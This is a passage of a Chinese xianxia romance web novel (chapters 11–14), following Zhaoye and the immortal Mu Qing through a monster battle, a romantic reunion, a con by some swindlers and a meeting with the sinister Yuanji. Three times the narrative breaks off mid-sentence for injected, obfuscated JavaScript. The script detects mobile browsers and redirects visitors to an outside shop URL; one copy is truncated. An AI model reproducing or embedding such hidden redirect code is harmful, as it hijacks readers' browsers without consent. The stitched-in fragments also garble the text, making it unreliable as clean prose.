朝明警觉地说道,“将军,仙人不可轻信,务必小心!” 薄雾氤氲,我望着那道似曾相识的身影,心跳如擂,几乎要撞出胸膛。 青莲自他足下蔓生,化作一道浮空阶梯——我曾笑他此举太过刻意,何至于举手投足皆留莲印。他却说,唯有如此,才能将“青莲”与“穆青”牢牢刻入仙名,教诸天仙神皆知道,见青莲如见穆青,三界之中,唯他一人以青莲为契、凭此名登仙。 我再忍不住,纵身跃向空中。 无数细小的青莲花瓣自我周身凝现,托举着我迎向他—— 一个几乎发痛的拥抱。 仙力如触须般本能缠上他的脖颈,却又在顷刻间温顺下来。它认得他。它一直认得。 “小青,你怎么会在这里?” “我终于找到你了,照夜!” 回到那间破旧的屋中,我将突然出现的穆青从头到脚摸索了好几遍——是他,的确是他。数年不见,他清瘦了些,却依旧挺拔如松。 而他确认我的方式则简单得多,只握住我的手腕,便已知道我体内仙力流转,更不必说那条总不听使唤的尾巴早已自顾自缠上他的腿,不知道想干嘛。 “事情经过便是如此。” “……怪不得我遍寻不着,原来你被藏在魔界的蕴灵泉中。无妨,人无事就好。” “你又为何会在此处?” 穆青淡淡瞥向屋外正低声交谈的舒岸几人,道,“自从你失踪,我寻遍仙凡两界皆无果,只得来这无相孽的巢穴碰碰运气。” 无相孽?不是瘴母神么? “照夜,总是不听话,不可轻信外人。” 我心中一凛,扒着穆青的胳膊悄悄望向舒岸,“难道……他们是坏人?” 穆青将我揽入怀中,声音低沉,“傻瓜,那根本不是人,而是伪装成人的无相孽。” 一股寒意窜上脊背,我打了个颤,忍不住恨恨地踩了一脚还在穆青腿上蹭个不停的仙力尾巴,“这家伙居然半点没察觉!” “话说回来,你体内仙力溢涌过甚,若再不疏导散溢出去,恐怕要生出第二条尾巴了。” “那你取走一些,我也有些难受。” “……现在不行,暂且忍耐。”当穆青指尖轻触我尾锥时,我猛地一颤,脸上顿时烧了起来。穆青低头捧住我的脸,眼中欣喜与哀怨交织,“别逃照夜,答应我,别从我身边逃离。” 我挪开视线,轻声道,“先解决眼下的事儿,然后我们换个地方互诉衷肠。” 见我与穆青“叙旧”已毕,舒岸急步上前。他并未认出穆青的身份,只知此人御仙力之能深不可测,言辞恳切地请我们一同深入巢穴、剿灭孽物。言行举止,看不出半分异样。 穆青解下斗篷将我裹紧,扫视众人,声淡如霜,“事不宜迟,现在便动身。” 出发之前,舒岸取出了仅剩的十几枚熠石。那是一种通体剔透的奇石,内里仙力流转,可直接嵌入武器,用以强化能力。他指挥将士们做最后整备,人人面色凝重,如临终极一战。 而穆青只静坐在火堆旁,向我问起当年被岁兽妖吞噬的旧事。 那时青莲嚼碎已将我与钩星吞入腹中的仙丹,但因百目仙人的监视,穆青只能佯装仙丹已毁、无法回收。 若非如此,我恐怕早已落入他人之手——鸿珠级别的仙丹举世罕见,各方势力觊觎,尤其是渊寂一派。为谋仙帝之位,他们亟需更强大的仙力来源。 我又问穆青,仙帝是否真的已死。 他未直接回答,只深深蹙眉,眼中似压着无尽烦忧。 天色未明,我们再次向深处行进。奇异的是,这次竟未遭任何怪物袭击。穆青牵着我一路穿行林中,直至走出幽暗广密的森林,眼前豁然现出一片深绿色的湖水。 “母巢就在湖底。” “敢问仙尊,可有良策诛灭此怪?” 穆青不紧不慢地扫了舒岸一眼,轻哼一声,“不必再演了。你千方百计引照夜至此,不正是要以她的仙力献祭母巢?” 舒岸顿时面露极度痛苦,额间青筋暴起,猛地弯腰呕吐——一团红黑色蠕动肉块从他口中涌出,肉团上猝然睁一只独眼,竟发出尖锐嘶语. 美味,无上美味,母神大人,请您尽情享用吧! 朝明与其他将士骇然失色,举着武器却不敢妄动。只见那肉团咕咚一声跃入湖中,舒岸则狂吐黑水,翻眼抽搐,如被抽空了神魂。 轰然一声,湖面沸腾!数十根粗壮触手破水而出,疯狂舞动。四面八方怪物如潮涌至,嘶叫震天,恐怖至极。 几名将士心智崩溃,丢盔哭嚎,蜷缩在地如待死的囚徒。 唯有朝明,虽双腿战栗、举刀艰难,仍强撑挡在舒岸身前,嘶声大喊,“振作起来,大将军!您不能死!” 穆青缓步上前,凝出一片荷叶将舒岸包裹收起,随手拾起地上长弓,淡声道,“走,照夜。” 他带着我腾空,自身后握着我的手引弓。 青色仙力覆上凡铁箭镞,而我体内仙力亦奔涌而出,缠绕凝聚成一支巨硕的光箭。仙压不断膨胀,扭曲空气,发出刺耳锐鸣。 一箭离弦,破水贯入! 霎时地动山摇,林木连根拔起,整片湖水被卷成巨大水球。青金光芒在其中急剧膨胀,最终轰然爆炸——响彻云霄,光柱贯天,无相孽母巢应声粉碎! 湖水如暴雨倾泻,混着残骸噼啪砸落。 穆青飞落湖心,只见一肉瘤奄奄一息、尚在蠕动。他以仙力驭石,轰然砸落,顷刻将其碾为血水。 所有异变的怪物如断线木偶,纷纷倒地,不过片刻便化为齑粉,被雨水冲入泥泞。 幸存的将士们跪在大雨之中,痛哭流涕。这不是凡人能赢的战争——他们拼尽生死不能伤及分毫的存在,仙人只一击,便消灭干净。 极远处,一声低沉的吼叫穿透雨幕传来,那声音中浸透着纯粹的恶意与挑衅。无相孽远不止一个——这是其同类在宣战。 两日后,我们退回玉山另一端。百尺高的铁棘障巍然矗立,其下驻扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549477|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着三万将士。 当得知主将舒岸不仅生还,更成功摧毁离战线最近的一处无相孽巢穴,军中上下无不掩面痛哭,悲喜交加。 舒岸情况尚可。虽曾被无相孽寄生,却未完全异化。 副将北祐将军年逾五十、身材魁梧,善使一对圆月弯刀,威风凛凛。他即刻命人将消息传回月下州,禀报人君舒仲。虽谈不上大捷,但只要主心骨舒岸没死,就足以重振军心。 当夜,北祐设小宴款待我与穆青。我们各怀心事,皆无饮酒的兴致。 见穆青神思不属,我悄声问他作何打算。 这正是他烦恼的根源,人间惨遭怪物肆虐,死伤无数;魔界因长烬海复苏暂得安宁;仙界尚有仙帝留下的结界的庇护,一时无虞,怪物难以蔓延。 仙界不该因此明哲保身,对人世浩劫坐视不理。可偏偏仙界上层忙于内斗,无人愿与人界并肩共抗危机。 穆青成仙最晚,对人界仍怀牵念——这一点,恰是许多仙家诟病他的理由。 他虽凭战力跻身玄珠位阶,却没什么话语权,究其根本,只因为他“太年轻”。 以仙人的尺度,五十八岁的穆青,不过如同刚学会走路的孩子。顺带一提,赤羽如今已四百余岁。 这是一个无月之夜,风住雨歇,寒气弥漫。我虽不怕冷,却仍紧裹着穆青那件斗篷——上面残留着他的体温与气息,莫名令人心安。 我们并肩坐在树顶,他执一壶酒,默然不语,指尖轻抚着匍匐在他脚边的仙尾。那尾巴竟显出几分谄媚之态,我真越发不懂,这仙丹怎么会有自我意识,还晓得讨好某些人?简直没把我这正主放在眼里。 ——虽然此刻,我自己也很想抱穆青大腿就是了。 “咱们回家么。” “你想回青莲山吗。” 我凑近穆青,小声道,“小青去哪里,我就去哪里。小青在哪里,家就在哪里。” “照夜……”他轻叹,将我揽近,“答应我,往后绝不可让别人碰你的尾巴,好吗?” “没人碰过。仙丹对外敌意很强……除了你,它只和钩星接触过。” “……钩星?你是说新任魔皇?” “嗯。当时为了劈开长渊,我们尝试共鸣了仙力。仙界……不会追究吧?” 穆青骤然转向我,声音骤沉,“共鸣?他以仙力接触你的……尾巴了?” “对呀,挺不容易的,试了快几百次才成呢。” 他猛地捏碎酒壶,唇间咬紧。我顿时大气不敢出,心里把钩星这狗东西骂了八百遍。 “照夜,”穆青捧住我的脸,目光复杂,“从今以后,只准我碰你的尾巴,也只准与我共鸣。记住了吗?” “我……是不是做错了什么?你别生气,小青。” 他一把将我紧紧抱住,摇头低语,“不是你的错。是我……是我未曾教你这些。我原以为此生我们永不会分离,皆是我的疏忽……对不起。” 虽然尚不清楚“共鸣”究竟意味着什么,但小青的话我必定牢记在心。 当晚入睡前,我一把抓住那根不争气的尾巴,狠狠扇了它好几下,厉声警告它从今往后只准亲近小青一人,若再敢对旁人乱摇乱蹭,我便将它斩断丢了。 尾巴不语,只一味挨打。 我们并未急于离开。 舒岸很快苏醒,对自己曾被寄生之事毫无印象,更不记得所作所为。朝明向他讲述了穆青一箭诛灭无相孽的壮举,这位大将军当即恳请穆青留下相助。 然而穆青身为玄珠仙,行止并不能随心所欲。这些天来,十身仙人已多次透过云雾屏传讯,命他速返灵璧城出席仙界大会。 趁穆青在帐外与十身仙人交涉之际,我悄悄向舒岸推销起静心养胃丹。他对险些害我遇险一事深怀愧疚,当即订下三千枚。 我心中暗喜,果真是一位慷慨豪爽的大将军。 “舒将军,我有要事须前往灵璧城一趟,此地情况我亦会向上仙禀明。” “多谢仙尊!” “只不过——”穆青拱手一礼,语气肃然,“在下有一事相托,请务必遵守约定,勿将照夜之事透露半分。” 舒岸微怔,随即郑重应允,“仙尊放心,舒某言出必行。就当照夜姑娘从未出现过。” 得到舒岸的承诺,穆青便带我悄然离开玉山。 12. 第 12 章 借由我体内的仙力,穆青轻易开启了万界门。不过半个时辰,我们便抵达目的地。 当满目赤红的浮沤花映入眼帘,又见一位赤瞳男人抱臂立于其中,我不由有些怔忡。 穆青却如归家般从容自若,随口招呼道,“哟,赤羽,这么晚还没歇着?” “你说寻回了照夜,我自然得第一时间亲眼瞧瞧。”赤羽绕着我仔细端详三圈,方才颔首,“不错,确实是她。” “别打什么主意,小心又挨你夫人两记铁拳。” 穆青牵起我的手径直朝岛上小院走去,顺手布下一道仙力屏障。我跟在他身后,看他一边走一边自然地脱下外袍,忍不住震惊道,“赤羽居然成亲了?” “嗯,他夫人正有身孕,脾气格外急躁,最好少去招惹。” “扑通”一声,穆青散开发丝踏入氤氲着白雾的汤池,长舒一口气,“下来洗洗,好好睡一觉。累了。” 浮沤岛的汤泉虽是一绝,但对如今的我而言却太过灼热。 满溢的仙力早已令我浑身燥郁,不过片刻便觉肌肤滚烫,几乎要炸裂开来。我晃了晃穆青的手臂抱怨道,“快想个法子把这仙力弄出去些,我难受得很。” 穆青低笑一声,掌心顺着我的脸颊缓缓下滑,“你天生没有灵关窍,仙丹之力又过于霸烈,吸纳入体的仙力远多于使用,积存久了,自然煎熬。” “那该如何是好?难道要在身上开个洞?” 穆青倏地将我揽近,薄唇几乎贴上我的鼻尖。氤氲水汽漫在他深邃的眸中,漾开一片湿漉迷离,“照夜,没有用的。你的仙力若非自愿予出,便绝不会外泄。所以——”他声音愈低,似诱似叹,“交给我吧。” “好啊好啊,全都给你!” “……不后悔?” “后悔什么?” 穆青轻轻遮住我的双眼,低声呢喃如同咒语缚心,“那么,别逃,照夜。” 有些凉的嘴唇触感柔软,轻轻贴着我的小心翼翼吮吸,灵活的舌尖试探着碰触外人无法接触的地方。 我急促地喘息着,炽热的仙力从身周流淌向面前的男人,而他凛冽如山泉的仙力则缓缓将我包裹住。 我的尾巴缠绕在穆青的腰间,渴望着他的安抚。 “是,是通过这种方式消散仙力么……” “嗯,可不仅仅为了这个目的照夜,从第一次到现在,我一直在等待与你再次融为一体。可我怕,我怕你会逃跑。” 我趴在穆青怀里,感受着冷热交织的快乐在身体里留下永恒的烙印,“那次过后你就没有再碰过我,我还以为你不喜欢我。” “傻瓜,看你那么怕疼,我不敢再轻易触碰你,万一你因此从我身边逃走,我该怎么办。再说我怎么可能不喜欢你,我爱你胜过天地万物,照夜,就如我曾对你说过无数次的那句话,你于我,即是一切。” 而今终于再度确认了彼此心意,我满心雀跃,连梦中都不自觉漾开笑意。 那团讨厌的白光俨然成了猥琐的窥探狂,阴阳怪气地讥嘲我今日枯木逢春,尾巴缠穆青不肯松开,简直不要脸。 今日我心情甚佳,懒得与它计较。见我不反驳,白光试探着凑近了些,小声嘀咕起来。 穆青和钩星你更喜欢谁? 不回答?哼,也对,现在下结论为时尚早,况且还远不止他二人。你的福气,在后头呢。 今天怎么不说话,方才叫太大声哑巴啦? 说话,不然也太无聊了。 你可以轻轻打我狠狠骂我,但不能不说话,说话。 临醒之前,白光竟有些慌了神,甚至试图以一个秘密换取我的理睬。很遗憾,我对这碎嘴吵闹的家伙早已失去兴趣,任它如何哀求,只作不见不闻。 梦境,终于归于应有的宁静。 翌日清早,穆青便与赤羽在浮沤岛上打得不可开交,喧闹声令人无法安睡。 我索性攀上屋顶观战——无非是凝仙力为刃或直接相搏,说到底,较量的仍是炼化仙力的速度与稳定性。漫天赤青交缠,波光激荡,连水下都不平静,巨口渊不安地游弋,庞然身躯投下片片黑影。 “照夜姐姐!姐姐!” 屋檐下传来熟悉的呼唤。我探头一望,竟是昔日青莲山的门卫兼厨子——小圆。 我欣喜地跃下屋檐,冲到同样兴奋的小圆面前,刹那间千言万语倾泻而出,浑然忘了那两人还在激烈过招。 一问才知,当初穆青解散青莲门后,弟子四散投奔其他仙门。小圆因能力有限,勉强被赤羽收留做些杂事;而大师姐牧狸则与原萤火仙门大弟子飞逍一同拜入渊寂仙人门下。 他们偶尔小聚时,无人不羡慕他二人眼光明锐——毕竟渊寂对仙帝之位势在必得。 闻之我心中慨然,短短五年,竟已物是人非。 这些年来穆青为寻我踪迹奔波于人仙两界,未曾归家。他宁肯途经时借住赤羽此处,至少在这里,不必触景生情。 “对了照夜姐姐,夫人请您去一趟。” 我忙理好鬓发、抚平衣褶随小圆前往。既为外客,总要当面拜谢主人才不算失礼数。 “夫人…好相处么?” 小圆在前引路,低声答,“夫人曾是渊寂仙人的小师妹,仙名素雪。” 我蓦然醒悟,原来是以美貌名动仙界的素雪仙人! 当年她与飞逍曾共蝉联五十年仙界容貌榜魁首,皆是众仙倾慕的梦中情仙。我虽未曾亲见过,也早闻其天姿仙容。 我下了颠簸的小舟,一路穿行廊桥来到正殿。 遥见一位肌白胜雪、唇若涂朱、乌发如瀑的女子端坐于上,其容貌之绝丽,足以摄人心魄。精致的五官寻不出一丝瑕疵,见者无不心旌摇曳,为之倾倒。 “拜见夫人。” “你就是照夜?” “是。” “动手。” 不待我有所反应,数道黑影已自暗处袭来。 穆青几乎瞬间闪至我身前,甚至快过尾巴的自主反击。他冷眼望向端坐的素雪,声线依旧平淡,却透着寒意,“这恐怕不是待客之道,素雪。” “雪儿,你这是做什么!”赤羽迟来一步,厉声斥退那些企图袭击我的弟子,怒视着自己的夫人,“往事我已解释多次,何必耿耿于怀、纠缠不休?照夜与我从无过往,一切不过是我一厢情愿!” “你若心中无私,何必如此护着一个外人!”素雪蹙眉缓缓起身,手轻轻托住隆起的小腹,“甚至不惜惊扰我们的孩子——” 穆青冷笑一声,“既觉怀胎辛苦,何不请玉贝仙人代劳?何必总借此胁迫赤羽退让。你最好明白,他一次次忍让是看在孩子份上,而非忌惮你素雪或渊寂的位阶。” 我闻言一惊,连忙轻扯穆青的衣袖,“别人的家事,你说这么多干嘛?” “你这无礼之徒!别以为凭些运气跻身玄珠之位,便可目中无人!” 素雪作势欲倒,赤羽赶忙扶住她,朝穆青使了个眼色,“夫人身体不适,还请二位尽快离开浮沤岛,恕不远送。” 穆青拉我拂袖而去,随即唤来一匹眼熟的飞马——那马儿刚一落地便兴奋地绕我转圈,竟是枞! “走了,我讨厌那女人。” “枞怎会在此?” 腾空之际,穆青打了个哈欠,答道,“先前我将枞寄养在赤羽这儿,至少他不会亏待你的坐骑。” 我轻抚着枞如水光滑的鬃毛,笑道,“赤羽作为朋友,还是很讲义气的。” “什么朋友?男人的眼神骗不了人。他仍喜欢你,从未只将你视作朋友。”穆青在我腰间轻轻一掐,闷声道,“碍眼得很……但眼下可信之人不多,姑且再忍耐些时日。” 我被搔得痒笑起来,倚在他怀中,“可我心里只有小青。” “我也一样。”他吻落于我耳畔,低语道,“我的心里、眼里,永远只有你,照夜。” 灵璧城,云南门前。 仙隶刚将云南印拓在我臂上,一转瞬,那点仙力已被吞噬消化干净。 穆青送我至客栈后,便前往鸿珠宝殿觐见三位上仙。 我闲来无事在城中漫步,途经仙碑司时,瞥见上一季仙人口碑排行——渊寂毫无疑问高居首位,而穆青这家伙,竟位列倒数第一。 有资格参与排位的仙人共一百二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549478|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四位,除三位鸿珠、十二玄珠、十二金珠、十二银珠外,更有诸多散仙分布于仙界各处。只不过散仙不直属于仙帝麾下,仅在征召时方需现身。 “哎呀,这位姑娘,可是对仙榜排名有所见解?” 我闻声转头,见是一位容貌清秀的陌生女子,两条乌黑粗亮的麻花辫垂落胸前,发梢缀着莹润的紫色珠串。 “为何青莲仙人会位列末位?” 她眼睛一亮,连忙将我引至角落,四下张望后神秘兮兮地低语,“看来姑娘许久未来灵璧城了。青莲仙人如今无门无派,不从召令,又四处树敌,口碑自然一落千丈。不过嘛,既有排行,便总有末位。咱们‘不愁行’有点门路可帮忙打点打点——修仙一道,也需人脉打点,不是么?只不过……”她笑意盈盈,“姑娘需付些小小费用。放心!我们不愁行价格公道、童叟无欺,用过的都说好!” 我端详着她,心下明了,原来是干昔日谷阿翁那类营生。 “需要多少费用?” 见生意上门,自称衣多多的女子连忙引我七拐八绕,来到一家不起眼的小铺前。 只见匾额上“不愁行”三字写得歪歪扭扭。还未进门,一个圆润的少年便迎了上来,开口便称“贵客”,又唤来个梳双髻的小丫头为我看茶。 “哎呀呀,这位姐姐衣着虽简,隐有贵气,既是新客,咱不愁行给您打个折扣如何?” 不待我回应,自称饭饱饱的少年便热情介绍起他们的“打榜套餐”。 我打量着仅有三人的不愁行——名字倒有趣,饭饱饱、飞高高、衣多多。合起来便是不愁吃穿不愁飞,看样子似是做一锤子买卖的黑店。 想骗我照夜?还嫩了点。 果然,三杯茶过后,饭饱饱与衣多多开始一唱一和,怂恿我购买“私人定制”服务,声称只要资金到位,下次青莲仙人排名必进前五十。 最终这三个奸商竟开口索要二十万利衡币!他们怎敢如此漫天要价? 需知万界门卷轴这等宝物也不过三万,而青莲山昔日所产的静心养胃丹一枚才售二十利衡币。我没了耐心,起身欲走,飞高高却连忙捧来一张账单,只见上面写着:玉露香梨茶三杯,计三万利衡币。 我大惊,端起茶杯细细闻,“没说要收费啊!再说这是什么茶,竟值一万一杯?” 衣多多示意关门布障,面露凶光,“这可是采自煌木大人亲手所栽玉露树旁那株香梨移栽成果所泡的茶,珍贵得很!” 我收拢斗篷,拍拍尾巴,示意它勿动,以免引来百目仙人注目。 “我是青莲仙人座下关门弟子,你们这么敲诈我,就不怕他亲自来教训你们?” 饭饱饱捧腹大笑,“省省吧!你这样的人我们见多了,无非是痴迷某位仙人想替他们打榜罢了。还关门弟子?仙界谁不知青莲仙人早已不再收徒!” 我眼珠一转,反而不急不躁地坐下,又自斟一杯所谓“玉露香梨茶”细品,“眼下我确没这么多现钱。不过倒巧,有人欠我三万利衡币——人界灭妖大将军舒岸在我这里订了三千静心养胃丹,友情价刚好三万。诸位不妨向他讨要?” 三个骗子凑在一处嘀咕片刻,谨慎地向我索要凭证。我便修书一封交予衣多多,“喏,记得转告舒岸将军,即便与我交情再好,多余的丹药也是一颗都没有了。毕竟这东西在魔界…可是稀缺得很。” 飞高高眼睛一亮,“哦?有多稀缺?” “怎么说呢,这也是意外收获。你们想必也清楚魔皇又回来了,他们魔族又开始忙着生孩子,恰这静心养胃丹能助魔族夫妇仙力融合,因而极为畅销。卖给舒岸将军是十利衡币一枚,若至映山都,不仅价翻数倍,更是一丹难求。” 衣多多凑近追问,“你手里…有很多?” “哼!你们说得不错,我确是青莲仙人的狂热追随者,先前囤了不少静心养胃丹。只不过最近……” 最终,我以批发价八利衡币一枚,将积压多年的一万枚静心养胃丹尽数卖给了不愁行这三个初出茅庐的小骗子。 于灵璧城郊万宝仓库中交出存货、点清八万利衡币货款后,我美滋滋地返回客栈,等着穆青归来。 13. 第 13 章 直到天黑后穆青才黑着脸回来了,他二话不说要带我离开。 急匆匆去往云南门,还没把枞牵出来便被仙军拦住了去路。二十多个银甲仙军停在空中,大有来者不善之架势。 为首的女仙自称云啼,乃渊寂座下七大弟子之一。 “穆青,你当众顶撞鸿珠仙已触犯仙规,现如今竟想私自离开灵璧城,你眼里还有没有仙宫!” 穆青仰着脑袋冷笑一声,掏出仙牌扔在地上,“我穆青今日起退出玄珠位阶,至于仙籍也一并请辞,不想死就赶紧让开!” 我紧紧贴着穆青,生怕尾巴有异动,也不知穆青今天面见三位鸿珠仙发生了什么事,竟闹得如此僵。 “啧啧啧,果然还是个孩子,如此莽撞,不过这恰恰是仙帝看重你的一点:你还残留着凡人心性,虽然这对修仙来说是一道枷锁。” 一阵风从身后掠过,纯白色的背影竟然轻轻擦过我的肩膀停留在身边,我此刻汗流浃背,而穆青握着我的手也已出了冷汗。 我们都没有察觉到有人杳无声息地接近了我们,我体内的仙丹竟然没有一丝反应。 俯身捡起仙牌在苍白的指尖摩挲,男人隐隐露出一丝微笑,“青莲,仙牌是上仙的证明,是无数修仙者求而不得之物,怎可随意扔在地上。” “师父,弟子无能,未能拦住青莲仙人。” 云啼下马向来者行礼,并迅速指挥仙军将围观者尽数疏散阻拦在远处。 我低垂着头,只看得到白衣男人正面向着我。 “青莲,这位是?” 本能向后躲了一下,哪怕不需要仙丹的力量,我也能感应到男人的危险。 穆青挡住男人伸向我的手,低声道,“渊寂,我对你们上仙的争斗不感兴趣,也不想与你们争个对错,只有一点,唇竭齿寒,今日你们对人界的灾祸作壁上观不以为意,他日必遭其害。” “别总是这么咄咄逼人青莲,何必像个孩子一样,凡自身要求没被满足便气急败坏随意撒气,修仙修的是心境,而非仅仅力量。” “我要走了。希望你重新考虑我的提议,仙界尚可等,人界可未必。” 只是轻轻按住了穆青的肩,一身纯白长袍的男人便轻而易举限制了他的行动,温和却不容反抗的声音中带着一丝轻蔑,“青莲你可以走,只不过这偷渡客——竟刻意抹去了云南印,实在可疑,眼下仙帝刚逝,灵璧城内外盘查得紧,她得留下来询问清楚了才可离开。” 穆青狠狠瞪着和颜悦色的男人,二话不说便催动青莲法器,快速旋转的尖利花瓣从四面八方向渊寂袭去。 而后者却只是缓缓抖了下袖子,那青莲花瓣竟然瞬间失去力量一片片飘落在地。 “青莲,你竟然敢当众袭击上仙!”待云啼反应过来时,这方的较量已分出了高下,她拱手道,“师父,青莲目无尊卑,应立刻押解至地刑司交由判官处置!” 渊寂抬抬手,示意他人放开我和穆青,他挑起我的兜帽,随着那张熟悉的面孔印入眼帘,我因震惊瞳孔瞬间放大,整个人僵直如木。 柑洱先生?怎么会是他?! “原来是青莲山中的那缕微风,因太久没有来更新入籍信息,已被仙碑司除了名,照夜,这是你的名字对吧。” 装模作样翻看着云雾屏,我眼前这不知究竟是渊寂还是柑洱先生的男人摸摸下巴,弯起了眼睛,“这是工作失误,我会命人重新为她更新信息,不过今日,青莲,你二人且歇在竹山,免得叫外人以为仙人分裂不慕,各怀鬼胎。” 穆青思考片刻,将散落的花瓣收入掌心,将我拉近了一些,“那就多有叨扰了,渊寂上仙。” 竹山位于灵璧城北侧,称作山却并非山,而是一个巨大的,遍布竹林的深谷。 天色渐晚,错落有致的瀑布发出轰鸣声,白竹腹中中空,一到夜里便会发光,整个谷中犹如白昼。 云啼虽然臭着一张脸,但还是按照渊寂的吩咐将我和穆青带到住处,一座位于林中的小院。 “没事吧,有没有吓到?”确认了无人监视,穆青有些颓丧地摸摸我出冷汗的额头,“很糟糕,我不敌他万分之一。” “小青,我在魔界见过他,他一直以柑洱先生的身份在映山都教书,魔皇很信任他。” 连忙捂住我的嘴,穆青谨慎地操纵青莲将我们裹起来,躲避着白色的竹光,“我知道照夜,我……在你的梦里见过他。” 我震惊地在黑暗中盯着穆青的眸子,“我的梦,你能看到我的梦?” “抱歉照夜,我只是……很好奇那五年你都做了什么梦。” “不不不小青,你为何会有这种仙能,你从来没告诉过我。” 白色的光如鬼魅般企图通过缝隙钻入青莲花瓣中,穆青只能与我紧紧贴在一起,我能感受到他强烈而规律的心跳,“照夜,在很久之前我……我悄悄在你身体里种下了一颗莲子,所以借由这颗莲子,在你熟睡时,我偶尔可以窥视到你的梦。” “这……万一我做了羞羞的梦被你看到岂不很丢人,以后不准看,还有莲子什么的东西,能不能取出来?” 将我抱在怀里,穆青轻声道,“有些困难。莲子极小肉眼难见,已经不知道游走到了你身体的哪个部位,我只是想感应到你的存在,别生气照夜。” “那当时我偷偷跑去刃柱城你感应到我了么?” 说到这里穆青明显愣了一下,半晌他说道,“我不知道该怎么解释当时的状况,我没有感应到你的存在,但我感应到了自己的存在。” 不知不觉我们的谈话重点脱离了柑洱先生和渊寂这二人,也就没有必要避人耳目了。 这不,穆青刚刚收起了花瓣,云啼便已经出现在门外,警告我们注意言行举止别在人家家里做些行为不端的举动。 于是我和穆青沿着白竹林外的小路来到一处瀑布下,轰鸣的水流声即便无法全然覆盖我们的声音,也不会让那无处不在的白光偷听得太轻松。 “你的意思是你当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过穆青也再次承诺了,无论我们身在何方,都任我躺平,所有的风雨都由他来阻挡。 这天穆青最后一次去见鸿珠仙,而云啼则带我去仙碑司登记信息,路上我问起牧狸现如今在哪里为何没看到,云啼只说她出去执行师父的任务,便不再搭理我。 等待仙吏将我的信息再次录入仙籍名录时,我坐在一旁打瞌睡,以至于有人贴近我都没有丝毫察觉。 “照夜,你对仙丹的控制力愈加熟稔了。” 我连忙从男人的手掌下逃离,一下子清醒,渊寂不知何时来了。正在办事的仙吏对他很是尊敬,点头哈腰奉上好茶。 “你究竟是谁?” “别紧张,你离开后魔皇对我的真实身份起了疑心,我便回到了仙界。”渊寂把玩着手中的青色琉璃杯,嘴角带着一丝若有若无的微笑,“魔皇以惊人的速度变强了,此刻与他为敌不是明智之举,毕竟仙界失去了煌木群龙无首,而三位鸿珠仙又难以号令仙众,所以当务之急是举办仙界大会选出新任仙帝,而非去找魔界的麻烦。” 14. 第 14 章 见我沉默不语,渊寂支着下巴,目光在我脸上转了一圈,悠悠开口,“我猜,你肯定想问——为什么仙与魔就非得你死我活?对百年前那场仙魔大战,你也心里存疑,对吧?”他轻笑一声,又补了一句,“又或者……魔皇跟你说了些外人不知道的细节?” 我心头一跳,有种被完全看穿的感觉,下意识就别开脸,避开他那仿佛能洞穿人心的注视。 钩星的确提过,魔界覆灭和那个叫“瘴母神”的怪物有关……但潜意识告诉我,不能跟渊寂透露太多。这人之前潜伏在映山都,目的不明,还是谨慎为妙。 “渊寂上仙,我的事办完了,先告辞了。”我尽量语气平稳。 “再会,照夜小友。”男人含笑的声音从身后传来。 我几乎是逃也似的离开了仙碑司。 渊寂身上总绕着一股说不清道不明的气息,靠近他就让我莫名紧张,后背出汗。 按照穆青的嘱咐,我暂时回客栈休息等他,本来无事,想着这几天“尾巴”异常安静,心中隐隐不安,于是索性躺上床,尝试入梦。 梦里总是小苹村。 水田、荷塘、盛夏灼热的阳光……我和穆青在那里度过了最快乐的童年,直到养父病逝,我们才离开那片装载了所有思念与温柔的故土。 半空中,那团熟悉的白光依旧悬在那儿,照得整个梦境明亮如昼。 我喊了它好几声,它理都不理。我干脆捡起块石子,“咻——咻——咻”砸了它三下。 疼痛使得它有了回应。 “你这段时间在干什么,为什么不挺身而出保护我。” “……你怎么知道我是尾巴。” 光团在我头上飘着,像是长了两只脚似的踱步。 “因为你知道我和钩星共鸣的事儿。这种事只有尾巴知道。” “好吧,我承认,我是尾巴,确切说是仙丹的核心。至于这些天为何不现身,因前段时间你对我不理不睬,我要报复你的冷漠无情自私自利。” 我有些无语,这还是一颗自我意识过剩的仙丹,岁兽妖到底结的什么丹,虽然强大但是莫名其妙。 “好吧好吧我向你道歉,毕竟现在我们是共存状态,你中有我我中有你,还是不要把关系闹僵了比较好,最起码遇到危险你还是要有所反应,不然我若出了事,你也捞不着便宜。” 那团白光突然从高处飘下来,落在我眼前。 我这才真正看清——它没有固定形态,像一团流动的、半透明的胶质,内部却漾着五彩流转的微光,轻轻一碰,居然又软又暖,还光滑得像个温泉蛋。 “啊啊……对对,就是这样,轻轻揉……舒服。”它甚至发出了一声满足的叹息,像坨藕粉似的黏在我指尖上,甩都甩不掉。 我浑身鸡皮疙瘩都起来了,拼命想把它扒开,“好恶心!你到底是什么东西啊,跟鼻涕似的!” “没良心的女人!我护着你多少次了,居然说我是鼻涕?!” 